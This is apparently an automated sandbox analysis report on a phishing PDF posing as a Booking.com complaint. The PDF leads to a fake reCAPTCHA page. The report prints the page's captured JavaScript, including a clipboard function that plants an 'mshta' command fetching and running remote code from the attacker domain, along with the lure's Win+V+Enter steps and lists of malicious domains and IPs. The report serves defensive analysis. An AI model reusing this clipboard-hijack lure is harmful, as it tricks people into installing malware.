Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2008,i,14152893452588016740,6303475695145391616,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.11.dr

Source: gj2tWCRpMS.pdf	Initial sample: PDF keyword /JS count = 0
Source: gj2tWCRpMS.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: gj2tWCRpMS.pdf

Initial sample: PDF keyword stream count = 31

Source: gj2tWCRpMS.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: gj2tWCRpMS.pdf

Initial sample: PDF keyword obj count = 79

Source: gj2tWCRpMS.pdf

Initial sample: PDF keyword /OpenAction

Source: Google.Widevine.CDM.dll.11.dr	Static PE information: section name: .00cfg
Source: Google.Widevine.CDM.dll.11.dr	Static PE information: section name: .gxfg
Source: Google.Widevine.CDM.dll.11.dr	Static PE information: section name: .retplne
Source: Google.Widevine.CDM.dll.11.dr	Static PE information: section name: .voltbl
Source: Google.Widevine.CDM.dll.11.dr	Static PE information: section name: _RDATA

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot

OCR Text: 800king.com C fixecondfirbook.info p Type here to search I'm not a robot Verification Steps 1. Press Windows Button " 2. Press CTRL + V 3. Press Enter recAPTCHA ENG SG 1 1:21 16/01/2025

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\Google.Widevine.CDM.dll

Jump to dropped file

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	4 Browser Extensions	1 Process Injection	21 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gj2tWCRpMS.pdf	0%	Virustotal		Browse
gj2tWCRpMS.pdf	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\Google.Widevine.CDM.dll	0%	ReversingLabs
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\Google.Widevine.CDM.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
d2i5gg36g14bzn.cloudfront.net	13.32.99.51	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
www.google.com	216.58.206.36	true	false	high
clintonmakes.com	66.63.187.216	true	false	high
fixecondfirbook.info	172.67.168.162	true	false	high
minedudiser.com	186.64.116.70	true	false	high
q-xx.bstatic.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239405475857_1HVCAGG6HX6F987D5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402415504_17DDWI2WCHUD2N4TB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239405475856_1F6V8529RVRKMO1TM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wieistmeineip.de	sets.json.11.dr	false	high
https://mercadoshops.com.co	sets.json.11.dr	false	high
https://gliadomain.com	sets.json.11.dr	false	high
https://poalim.xyz	sets.json.11.dr	false	high
https://mercadolivre.com	sets.json.11.dr	false	high
https://reshim.org	sets.json.11.dr	false	high
https://nourishingpursuits.com	sets.json.11.dr	false	high
https://medonet.pl	sets.json.11.dr	false	high
https://unotv.com	sets.json.11.dr	false	high
https://mercadoshops.com.br	sets.json.11.dr	false	high
https://joyreactor.cc	sets.json.11.dr	false	high
https://zdrowietvn.pl	sets.json.11.dr	false	high
https://johndeere.com	sets.json.11.dr	false	high
https://songstats.com	sets.json.11.dr	false	high
https://baomoi.com	sets.json.11.dr	false	high
https://supereva.it	sets.json.11.dr	false	high
https://elfinancierocr.com	sets.json.11.dr	false	high
https://bolasport.com	sets.json.11.dr	false	high
https://rws1nvtvt.com	sets.json.11.dr	false	high
https://desimartini.com	sets.json.11.dr	false	high
https://hearty.app	sets.json.11.dr	false	high
https://hearty.gift	sets.json.11.dr	false	high
https://mercadoshops.com	sets.json.11.dr	false	high
https://heartymail.com	sets.json.11.dr	false	high
https://nlc.hu	sets.json.11.dr	false	high
https://p106.net	sets.json.11.dr	false	high
https://news.google.com/#5txqn3ufs6ilhby3iql9qlm33)	gj2tWCRpMS.pdf	false	high
https://radio2.be	sets.json.11.dr	false	high
https://finn.no	sets.json.11.dr	false	high
https://hc1.com	sets.json.11.dr	false	high
https://kompas.tv	sets.json.11.dr	false	high
https://mystudentdashboard.com	sets.json.11.dr	false	high
https://songshare.com	sets.json.11.dr	false	high
https://smaker.pl	sets.json.11.dr	false	high
https://mercadopago.com.mx	sets.json.11.dr	false	high
https://p24.hu	sets.json.11.dr	false	high
https://talkdeskqaid.com	sets.json.11.dr	false	high
https://24.hu	sets.json.11.dr	false	high
https://mercadopago.com.pe	sets.json.11.dr	false	high
https://cardsayings.net	sets.json.11.dr	false	high
https://text.com	sets.json.11.dr	false	high
https://mightytext.net	sets.json.11.dr	false	high
https://pudelek.pl	sets.json.11.dr	false	high
https://hazipatika.com	sets.json.11.dr	false	high
https://joyreactor.com	sets.json.11.dr	false	high
https://cookreactor.com	sets.json.11.dr	false	high
https://wildixin.com	sets.json.11.dr	false	high
https://eworkbookcloud.com	sets.json.11.dr	false	high
https://cognitiveai.ru	sets.json.11.dr	false	high
https://nacion.com	sets.json.11.dr	false	high
https://chennien.com	sets.json.11.dr	false	high
https://drimer.travel	sets.json.11.dr	false	high
https://deccoria.pl	sets.json.11.dr	false	high
https://mercadopago.cl	sets.json.11.dr	false	high
https://talkdeskstgid.com	sets.json.11.dr	false	high
https://naukri.com	sets.json.11.dr	false	high
https://interia.pl	sets.json.11.dr	false	high
https://bonvivir.com	sets.json.11.dr	false	high
https://carcostadvisor.be	sets.json.11.dr	false	high
https://salemovetravel.com	sets.json.11.dr	false	high
https://sapo.io	sets.json.11.dr	false	high
https://wpext.pl	sets.json.11.dr	false	high
https://welt.de	sets.json.11.dr	false	high
https://poalim.site	sets.json.11.dr	false	high
https://drimer.io	sets.json.11.dr	false	high
https://infoedgeindia.com	sets.json.11.dr	false	high
https://blackrockadvisorelite.it	sets.json.11.dr	false	high
https://cognitive-ai.ru	sets.json.11.dr	false	high
https://cafemedia.com	sets.json.11.dr	false	high
https://graziadaily.co.uk	sets.json.11.dr	false	high
https://thirdspace.org.au	sets.json.11.dr	false	high
https://mercadoshops.com.ar	sets.json.11.dr	false	high
https://smpn106jkt.sch.id	sets.json.11.dr	false	high
https://elpais.uy	sets.json.11.dr	false	high
https://landyrev.com	sets.json.11.dr	false	high
https://the42.ie	sets.json.11.dr	false	high
https://commentcamarche.com	sets.json.11.dr	false	high
https://tucarro.com.ve	sets.json.11.dr	false	high
https://rws3nvtvt.com	sets.json.11.dr	false	high
https://eleconomista.net	sets.json.11.dr	false	high
https://helpdesk.com	sets.json.11.dr	false	high
https://mercadolivre.com.br	sets.json.11.dr	false	high
https://clmbtech.com	sets.json.11.dr	false	high
https://standardsandpraiserepurpose.com	sets.json.11.dr	false	high
https://07c225f3.online	sets.json.11.dr	false	high
https://salemovefinancial.com	sets.json.11.dr	false	high
https://mercadopago.com.br	sets.json.11.dr	false	high
https://zoom.us	sets.json.11.dr	false	high
https://commentcamarche.net	sets.json.11.dr	false	high
https://etfacademy.it	sets.json.11.dr	false	high
https://mighty-app.appspot.com	sets.json.11.dr	false	high
https://hj.rs	sets.json.11.dr	false	high
https://hearty.me	sets.json.11.dr	false	high
https://mercadolibre.com.gt	sets.json.11.dr	false	high
https://timesinternet.in	sets.json.11.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.32.99.51	d2i5gg36g14bzn.cloudfront.net	United States	16509	AMAZON-02US	false
104.21.94.195	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.168.162	fixecondfirbook.info	United States	13335	CLOUDFLARENETUS	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
66.63.187.216	clintonmakes.com	United States	8100	ASN-QUADRANET-GLOBALUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
186.64.116.70	minedudiser.com	Chile	52368	ZAMLTDACL	false
18.245.31.129	unknown	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592942
Start date and time:	2025-01-16 17:18:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gj2tWCRpMS.pdf renamed because original name is a hash value
Original Sample Name:	2ad342e7ad2dc10f94f1161b04263ca05e3d552ffb4ffad07364cfef62ea01f0.pdf
Detection:	MAL
Classification:	mal84.phis.winPDF@48/74@20/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document URL browsing timeout or error Close Viewer

Errors

Corrupt sample or wrongly selected analyzer.

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 18.213.11.84, 34.237.241.83, 50.16.47.176, 54.224.241.105, 2.16.168.107, 2.16.168.105, 142.250.184.227, 172.217.18.14, 64.233.184.84, 142.250.184.206, 172.217.16.206, 142.250.185.202, 216.58.212.170, 142.250.186.138, 142.250.186.170, 142.250.181.234, 142.250.185.234, 172.217.16.138, 172.217.23.106, 142.250.184.202, 216.58.212.138, 216.58.206.42, 142.250.185.170, 142.250.186.74, 172.217.18.106, 142.250.186.42, 142.250.186.106, 172.217.18.3, 142.250.186.35, 172.217.16.202, 142.250.185.106, 172.217.18.10, 84.201.210.39, 142.250.186.174, 142.250.185.174, 34.104.35.123, 142.250.186.78, 142.250.184.238, 184.28.90.27, 20.12.23.50, 23.217.172.185, 20.223.35.26, 2.21.65.132, 20.223.36.55, 150.171.27.10, 2.23.227.221
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, arc.msn.com, acroipm2.adobe.com, clients2.google.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, www.gstatic.com, optimizationguide-pa.googleapis.com, www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: https://clintonmakes.com/215c/#lq8k93t1ixr... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. It attempts to redirect the user to an untrusted domain, which is a strong indicator of malicious intent." }
function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function process() { await sleep(0); if (window.location !== window.parent.location ) { top.location = "http://clintonmakes.com/215c/"; } else { window.location = "http://clintonmakes.com/215c/"; } } a819557= 19; window.onerror = process; process();
URL: https://fixecondfirbook.info/languageRevert.js... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script demonstrates some potentially concerning behaviors, such as preventing the default context menu and disabling keyboard shortcuts for changing the language. While these actions could be part of a legitimate feature, they may also indicate an attempt to restrict user control or prevent certain actions. Additionally, the use of a mutation observer to revert language changes could be an attempt to override user preferences. Overall, the script requires further review to determine the intent and potential impact." }
(function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const observer = new MutationObserver(revertLanguageChange); observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') { event.preventDefault(); } if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') { event.preventDefault(); } }, false); })();
URL: https://fixecondfirbook.info Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true, "reasoning": "This appears to be a typosquatting attempt targeting Facebook ('fixecondfirbook' is a manipulated version of 'facebook'). The .info TLD is considered suspicious as it's commonly used in malicious campaigns due to its low cost and fewer registration restrictions. The domain name is deliberately misspelled to trick users." }
URL: https://fixecondfirbook.info
URL: https://fixecondfirbook.info/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `copyToClipboard()` function generates a command that could be used for malicious purposes, and the script also manipulates the DOM to hide the reCAPTCHA checkbox and display a custom SVG element. These behaviors, combined with the suspicious intent and lack of transparency, indicate a high-risk script that should be further investigated." }
async function copyToClipboard() { var copyText = `mshta ${window.location.origin}/captcha # ''I am not a robot - reCAPTCHA Verification ID: 4345''` try { await navigator.clipboard.writeText(copyText); } catch (error) { } } function someEdit() { document.getElementsByClassName('recaptcha-checkbox')[0].style.display = 'none' document.getElementsByClassName("loadImg")[0].innerHTML = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" style="shape-rendering: auto; display: block; background: transparent;" width="32" height="32" xmlns:xlink="http://www.w3.org/1999/xlink"><g><circle stroke-dasharray="155.50883635269477 53.83627878423159" r="33" stroke-width="12" stroke="#4d90fe" fill="none" cy="50" cx="50"> <animateTransform keyTimes="0;1" values="0 50 50;360 50 50" dur="1.3888888888888888s" repeatCount="indefinite" type="rotate" attributeName="transform"></animateTransform> </circle><g></g></g></svg>` setTimeout(function () { document.getElementsByClassName('sjgdhfgas34')[0].style.display = "block" copyToClipboard() }, 2000) }
URL: https://fixecondfirbook.info/captchaHandler.js... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script has a moderate-risk indicator for external data transmission, as it sends the user's IP address to the '/send-ip' endpoint without any transparency or explanation. While this behavior may have a legitimate purpose, such as reCAPTCHA verification, the lack of context and potential privacy implications warrant further review." }
document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { // IP- fetch('/send-ip', { method: 'POST' }).then(response => { if (response.ok) { console.log(''); } else { console.error(''); } }); }); } });
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "A traveler has raised a feedback regarding their recent stay at your establishment. The report includes details about occurrences involving your team and living arrangements.", "prominent_button_name": "View Complaint", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Booking.com" ] }
	{ "brands": [ "Booking.com" ] }
URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	{ "brands": [ "Booking" ] }
	{ "brands": [ "Booking" ] }
URL: https://fixecondfirbook.info/ Model: Joe Sandbox AI	```json{ "legit_domain": "booking.com", "classification": "wellknown", "reasons": [ "The brand 'Booking' is well-known and is associated with the legitimate domain 'booking.com'.", "The URL 'fixecondfirbook.info' does not match the legitimate domain 'booking.com'.", "The URL contains suspicious elements such as misspellings and unusual domain extension '.info'.", "The domain name 'fixecondfirbook.info' does not have any clear association with the brand 'Booking'.", "The presence of unrelated or misspelled words in the domain name is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: fixecondfirbook.info Brands: Booking Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.63.187.216	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	clintonmakes.com/favicon.ico
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	clintonmakes.com/favicon.ico
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	clintonmakes.com/favicon.ico
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	swxpeyou.com/favicon.ico
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	edwatsonsmallworks.com/favicon.ico
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	leahbdesign.com/favicon.ico
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	revelsocialclub.com/favicon.ico
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	ritarichards.com/favicon.ico
13.32.99.51	https://www.tremendous.com/email/activate/yE_yBdRtyVv4Xqgg7hu_	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	https://go2.israelandafrica.com/f/a/y5H0bDO4woHaMQouJjYlOfq~~/OMbOowf~/aHR0cDovL0N1cmF0ZWJpby5VU0VSaEJNWUkubXNibG9nZ2VyLmNvbS5hdS9qYXNvbi53YWxzaEBjdXJhdGViaW8uY29t	Get hash	malicious	Unknown	Browse
	https://www.sama-labs.com/purchases/#dlofp-labor@maryland.gov	Get hash	malicious	Unknown	Browse
104.21.94.195	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	OpoLADYwIE.pdf	Get hash	malicious	Unknown	Browse
	JlZU1N9b8M.pdf	Get hash	malicious	Unknown	Browse
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
172.67.168.162	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	ItalianPastaLumma.hta	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
d2i5gg36g14bzn.cloudfront.net	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.53
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.49
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.129
	BIRWrYv55T.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	cCVZk5O7GW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.18
	ilCvGBnBTU.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.53
	https://page-get-reserves.com/yewhahgt/	Get hash	malicious	Unknown	Browse	18.245.31.18
	https://page-view-reserved-eng.com/mrzorecf	Get hash	malicious	Unknown	Browse	18.245.31.49
	https://page-view-reserved-en.com/erabwasi	Get hash	malicious	Unknown	Browse	18.245.31.18
fixecondfirbook.info	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.21.94.195
	zvIajMhxeH.pdf	Get hash	malicious	Unknown	Browse	104.21.94.195
	weMSnq4Jjv.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.168.162
	ry36jFmHDq.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.168.162
	cx8VPbdfQI.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
	iE77tz35dc.pdf	Get hash	malicious	Unknown	Browse	172.67.168.162
clintonmakes.com	V2yjcnvr6z.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	P4906RXNYH.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	shJGPJRkwH.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216
	z5z84fR7lS.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	pfK5wqaIhu.pdf	Get hash	malicious	Unknown	Browse	66.63.187.216
	9L6HMvfoLW.pdf	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	66.63.187.216

ASNs

